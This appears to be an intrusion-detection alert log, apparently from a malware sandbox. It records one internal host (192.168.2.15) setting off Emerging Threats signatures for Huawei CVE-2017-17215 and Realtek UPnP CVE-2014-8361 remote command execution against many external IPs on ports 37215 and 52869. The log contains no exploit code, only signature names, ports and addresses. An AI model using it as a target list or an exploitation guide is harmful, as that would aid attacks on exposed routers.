07/20/24-23:10:41.231187	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45458	37215	192.168.2.15	178.151.190.240
07/20/24-23:10:51.957772	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59592	52869	192.168.2.15	8.190.85.240
07/20/24-23:11:03.361094	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34510	37215	192.168.2.15	41.250.209.83
07/20/24-23:10:45.080820	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36212	52869	192.168.2.15	92.54.7.102
07/20/24-23:10:39.431804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45450	37215	192.168.2.15	197.238.161.20
07/20/24-23:10:42.248539	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33470	37215	192.168.2.15	197.111.82.33
07/20/24-23:10:42.636108	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33244	52869	192.168.2.15	61.146.90.23
07/20/24-23:10:47.852736	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33888	52869	192.168.2.15	153.91.88.242
07/20/24-23:10:52.546429	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54460	37215	192.168.2.15	157.100.48.167
07/20/24-23:10:39.485535	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47380	37215	192.168.2.15	41.7.140.134
07/20/24-23:10:43.404449	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55002	52869	192.168.2.15	40.139.206.8
07/20/24-23:10:42.633392	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52092	52869	192.168.2.15	104.126.44.136
07/20/24-23:11:06.646712	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50920	37215	192.168.2.15	41.199.23.210
07/20/24-23:10:42.255257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54630	37215	192.168.2.15	41.149.118.233
07/20/24-23:10:43.548227	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48170	52869	192.168.2.15	109.87.123.124
07/20/24-23:10:51.915609	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54980	52869	192.168.2.15	200.157.164.208
07/20/24-23:10:51.933445	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59214	52869	192.168.2.15	222.216.119.91
07/20/24-23:11:06.689532	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49482	37215	192.168.2.15	157.12.13.252
07/20/24-23:10:44.227698	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59420	52869	192.168.2.15	173.225.79.113
07/20/24-23:10:46.755097	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55814	37215	192.168.2.15	197.142.184.181
07/20/24-23:10:56.021160	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51802	37215	192.168.2.15	13.225.171.30
07/20/24-23:10:40.607363	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54458	37215	192.168.2.15	14.62.43.62
07/20/24-23:10:49.355429	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58042	37215	192.168.2.15	157.174.147.13
07/20/24-23:10:39.430692	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60840	37215	192.168.2.15	41.109.80.153
07/20/24-23:10:43.534202	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41482	52869	192.168.2.15	161.174.65.14
07/20/24-23:11:03.378465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33708	37215	192.168.2.15	206.191.124.100
07/20/24-23:10:51.917508	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36226	52869	192.168.2.15	97.164.50.55
07/20/24-23:10:59.028826	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53266	37215	192.168.2.15	197.94.138.141
07/20/24-23:11:03.361259	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47424	37215	192.168.2.15	82.123.250.216
07/20/24-23:10:39.492375	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55852	37215	192.168.2.15	41.246.170.171
07/20/24-23:10:59.050849	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50628	37215	192.168.2.15	197.143.73.208
07/20/24-23:10:52.581805	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36094	37215	192.168.2.15	41.157.98.40
07/20/24-23:10:46.817180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41304	37215	192.168.2.15	91.12.191.106
07/20/24-23:10:42.272034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40296	37215	192.168.2.15	157.190.168.108
07/20/24-23:10:46.739330	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57458	37215	192.168.2.15	197.118.190.175
07/20/24-23:10:46.755097	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35330	37215	192.168.2.15	41.226.220.209
07/20/24-23:10:52.004719	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47702	52869	192.168.2.15	223.235.223.229
07/20/24-23:10:51.908570	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51654	52869	192.168.2.15	217.179.58.161
07/20/24-23:10:52.538168	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51118	37215	192.168.2.15	41.151.57.99
07/20/24-23:10:42.263488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57540	37215	192.168.2.15	197.174.153.88
07/20/24-23:11:03.365385	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36018	37215	192.168.2.15	197.20.64.254
07/20/24-23:10:39.430384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56722	37215	192.168.2.15	157.29.91.154
07/20/24-23:10:49.421978	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40180	37215	192.168.2.15	197.91.25.23
07/20/24-23:10:43.924257	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34458	52869	192.168.2.15	46.169.99.175
07/20/24-23:10:59.055793	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34624	37215	192.168.2.15	197.178.223.191
07/20/24-23:11:06.687949	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58394	37215	192.168.2.15	207.193.151.163
07/20/24-23:10:47.832674	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59700	52869	192.168.2.15	105.189.130.216
07/20/24-23:10:46.750826	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42560	37215	192.168.2.15	197.36.72.248
07/20/24-23:11:06.680204	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59684	37215	192.168.2.15	169.212.197.47
07/20/24-23:10:48.599248	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56388	52869	192.168.2.15	152.73.4.67
07/20/24-23:10:40.601389	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45588	37215	192.168.2.15	41.182.40.219
07/20/24-23:10:39.425582	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51212	37215	192.168.2.15	75.245.37.135
07/20/24-23:10:49.420934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37900	37215	192.168.2.15	197.113.200.51
07/20/24-23:10:46.817180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46062	37215	192.168.2.15	41.79.166.87
07/20/24-23:10:43.431118	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51614	52869	192.168.2.15	199.248.104.114
07/20/24-23:10:52.551688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43920	37215	192.168.2.15	186.51.119.156
07/20/24-23:10:52.021884	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51888	52869	192.168.2.15	185.140.178.36
07/20/24-23:10:52.569477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50838	37215	192.168.2.15	220.85.62.111
07/20/24-23:10:59.029815	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47198	37215	192.168.2.15	157.10.63.167
07/20/24-23:10:41.233111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41686	37215	192.168.2.15	197.242.40.170
07/20/24-23:10:51.902171	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56176	52869	192.168.2.15	40.139.206.8
07/20/24-23:10:51.971547	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56434	52869	192.168.2.15	19.7.44.118
07/20/24-23:10:42.262762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33588	37215	192.168.2.15	197.89.134.2
07/20/24-23:10:39.076267	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43930	52869	192.168.2.15	154.64.3.25
07/20/24-23:10:46.779706	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56346	37215	192.168.2.15	41.19.135.245
07/20/24-23:10:40.123839	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51758	52869	192.168.2.15	65.211.208.187
07/20/24-23:10:40.658204	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33750	37215	192.168.2.15	157.88.156.88
07/20/24-23:10:40.163190	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36584	52869	192.168.2.15	89.186.152.105
07/20/24-23:10:39.171350	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36118	52869	192.168.2.15	197.208.47.186
07/20/24-23:10:42.661465	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37488	52869	192.168.2.15	89.186.152.105
07/20/24-23:10:52.578509	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45644	37215	192.168.2.15	41.86.23.216
07/20/24-23:11:03.378926	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34600	37215	192.168.2.15	188.23.31.199
07/20/24-23:10:42.267551	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56810	37215	192.168.2.15	197.108.166.247
07/20/24-23:10:42.636830	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54778	52869	192.168.2.15	203.62.78.235
07/20/24-23:11:03.368250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40718	37215	192.168.2.15	41.177.209.62
07/20/24-23:10:58.998725	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55608	37215	192.168.2.15	104.121.92.152
07/20/24-23:10:43.634330	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37436	52869	192.168.2.15	203.235.22.121
07/20/24-23:10:43.056421	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41928	52869	192.168.2.15	99.118.106.29
07/20/24-23:10:39.109562	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58256	52869	192.168.2.15	24.231.54.99
07/20/24-23:10:52.047769	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51812	52869	192.168.2.15	159.255.12.160
07/20/24-23:10:46.756934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42906	37215	192.168.2.15	197.224.233.88
07/20/24-23:10:44.023623	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39924	52869	192.168.2.15	34.33.224.36
07/20/24-23:10:47.680519	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55306	52869	192.168.2.15	75.64.8.241
07/20/24-23:10:39.674300	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55596	52869	192.168.2.15	185.59.206.11
07/20/24-23:10:49.420934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48808	37215	192.168.2.15	157.115.194.74
07/20/24-23:10:42.636108	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51780	52869	192.168.2.15	85.126.23.91
07/20/24-23:10:52.581034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38496	37215	192.168.2.15	41.245.71.93
07/20/24-23:10:39.654317	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59330	52869	192.168.2.15	107.205.165.229
07/20/24-23:10:51.915099	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53102	52869	192.168.2.15	167.80.147.223
07/20/24-23:10:39.383138	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51404	52869	192.168.2.15	104.126.44.136
07/20/24-23:10:42.621194	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49362	52869	192.168.2.15	209.99.231.53
07/20/24-23:10:55.995070	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50642	37215	192.168.2.15	157.14.80.20
07/20/24-23:10:59.067929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55190	37215	192.168.2.15	197.123.246.44
07/20/24-23:10:45.529756	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42408	52869	192.168.2.15	116.188.33.5
07/20/24-23:11:03.378465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35240	37215	192.168.2.15	197.208.193.169
07/20/24-23:10:51.983127	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56518	52869	192.168.2.15	116.208.181.41
07/20/24-23:10:39.093478	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45158	52869	192.168.2.15	220.239.248.79
07/20/24-23:10:43.788026	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45712	52869	192.168.2.15	172.149.150.175
07/20/24-23:10:39.438615	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55676	37215	192.168.2.15	157.222.177.45
07/20/24-23:10:40.649994	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47154	37215	192.168.2.15	41.123.206.73
07/20/24-23:10:52.578509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42362	37215	192.168.2.15	152.185.119.107
07/20/24-23:11:03.378465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55330	37215	192.168.2.15	157.110.230.85
07/20/24-23:10:42.249913	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50632	37215	192.168.2.15	197.126.18.168
07/20/24-23:10:45.853008	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54332	52869	192.168.2.15	208.102.55.155
07/20/24-23:10:52.547373	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33626	37215	192.168.2.15	41.68.95.71
07/20/24-23:10:52.551688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47368	37215	192.168.2.15	41.45.87.85
07/20/24-23:10:47.968210	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51050	52869	192.168.2.15	110.195.69.132
07/20/24-23:10:52.581805	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56144	37215	192.168.2.15	157.159.94.26
07/20/24-23:10:48.347448	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45352	52869	192.168.2.15	178.162.187.51
07/20/24-23:10:39.488246	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37320	37215	192.168.2.15	157.245.216.156
07/20/24-23:11:03.361259	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52592	37215	192.168.2.15	197.236.107.173
07/20/24-23:11:03.381593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36082	37215	192.168.2.15	197.80.71.112
07/20/24-23:11:06.706527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51986	37215	192.168.2.15	197.43.148.101
07/20/24-23:10:52.551688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33158	37215	192.168.2.15	100.137.5.97
07/20/24-23:10:49.420934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55836	37215	192.168.2.15	41.171.165.202
07/20/24-23:10:59.029071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43948	37215	192.168.2.15	41.147.52.26
07/20/24-23:10:52.598915	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36828	37215	192.168.2.15	157.246.232.48
07/20/24-23:11:06.657863	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33930	37215	192.168.2.15	210.38.21.59
07/20/24-23:10:52.578509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59628	37215	192.168.2.15	157.205.219.178
07/20/24-23:10:39.473748	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42690	37215	192.168.2.15	197.74.96.150
07/20/24-23:10:49.370142	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60874	37215	192.168.2.15	197.244.120.88
07/20/24-23:10:49.421978	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38992	37215	192.168.2.15	197.177.32.57
07/20/24-23:10:51.961780	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45786	52869	192.168.2.15	137.150.64.194
07/20/24-23:10:51.940556	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53588	52869	192.168.2.15	77.241.200.75
07/20/24-23:10:51.905303	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59984	52869	192.168.2.15	197.206.241.145
07/20/24-23:10:51.926807	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37928	52869	192.168.2.15	115.217.213.84
07/20/24-23:10:39.493966	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48076	37215	192.168.2.15	41.101.127.58
07/20/24-23:10:51.944865	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56360	52869	192.168.2.15	92.38.222.42
07/20/24-23:10:49.402846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46666	37215	192.168.2.15	41.88.30.221
07/20/24-23:11:06.706527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60362	37215	192.168.2.15	157.35.28.210
07/20/24-23:10:55.999553	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40256	37215	192.168.2.15	143.57.33.34
07/20/24-23:10:42.249913	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49030	37215	192.168.2.15	41.164.37.122
07/20/24-23:10:46.836862	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58632	37215	192.168.2.15	157.254.73.0
07/20/24-23:10:59.021280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38852	37215	192.168.2.15	199.155.57.115
07/20/24-23:10:42.262762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59504	37215	192.168.2.15	46.85.247.68
07/20/24-23:10:52.558618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45528	37215	192.168.2.15	157.217.23.6
07/20/24-23:10:41.223524	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40214	37215	192.168.2.15	41.118.113.203
07/20/24-23:10:47.587819	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48284	52869	192.168.2.15	47.72.19.180
07/20/24-23:10:39.488246	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47464	37215	192.168.2.15	78.250.115.189
07/20/24-23:11:03.368250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47014	37215	192.168.2.15	41.220.170.228
07/20/24-23:10:56.046357	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37974	37215	192.168.2.15	157.29.39.190
07/20/24-23:10:45.898672	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44780	52869	192.168.2.15	68.235.64.147
07/20/24-23:10:46.726397	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59452	37215	192.168.2.15	41.63.7.91
07/20/24-23:10:46.779706	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54656	37215	192.168.2.15	49.211.189.109
07/20/24-23:10:59.028826	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38124	37215	192.168.2.15	157.175.222.250
07/20/24-23:11:06.641258	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58510	37215	192.168.2.15	41.210.143.217
07/20/24-23:10:51.902171	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38766	52869	192.168.2.15	106.69.59.16
07/20/24-23:11:06.689939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45446	37215	192.168.2.15	197.160.32.39
07/20/24-23:10:41.231187	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50234	37215	192.168.2.15	68.91.193.135
07/20/24-23:10:47.603876	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57296	52869	192.168.2.15	74.83.241.55
07/20/24-23:11:06.687949	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40534	37215	192.168.2.15	157.157.26.236
07/20/24-23:11:06.687949	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58884	37215	192.168.2.15	41.176.127.22
07/20/24-23:10:41.227401	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40522	37215	192.168.2.15	41.123.192.243
07/20/24-23:10:40.650979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36556	37215	192.168.2.15	41.31.78.156
07/20/24-23:10:46.829468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51654	37215	192.168.2.15	213.160.161.142
07/20/24-23:10:59.029814	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37284	37215	192.168.2.15	41.115.249.45
07/20/24-23:10:56.046357	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33846	37215	192.168.2.15	222.64.252.118
07/20/24-23:10:52.540929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55732	37215	192.168.2.15	157.120.190.93
07/20/24-23:10:51.991411	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39210	52869	192.168.2.15	170.167.39.209
07/20/24-23:10:52.024960	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50386	52869	192.168.2.15	47.72.19.180
07/20/24-23:10:58.998725	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50944	37215	192.168.2.15	105.184.58.232
07/20/24-23:10:55.993044	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52512	37215	192.168.2.15	151.26.100.131
07/20/24-23:10:52.521111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41618	37215	192.168.2.15	157.28.72.248
07/20/24-23:10:46.829468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57520	37215	192.168.2.15	157.182.171.248
07/20/24-23:10:56.002189	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41614	37215	192.168.2.15	147.126.106.87
07/20/24-23:10:46.755097	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52152	37215	192.168.2.15	41.108.168.224
07/20/24-23:10:52.551688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44076	37215	192.168.2.15	157.185.86.77
07/20/24-23:10:52.549473	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40594	37215	192.168.2.15	47.37.4.111
07/20/24-23:10:39.433488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52554	37215	192.168.2.15	197.20.220.200
07/20/24-23:10:59.021280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58006	37215	192.168.2.15	197.5.98.73
07/20/24-23:10:41.220904	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57034	37215	192.168.2.15	41.11.55.143
07/20/24-23:11:06.696229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33432	37215	192.168.2.15	41.112.133.24
07/20/24-23:10:52.549474	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56220	37215	192.168.2.15	157.155.105.181
07/20/24-23:10:44.224237	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36958	52869	192.168.2.15	111.75.183.223
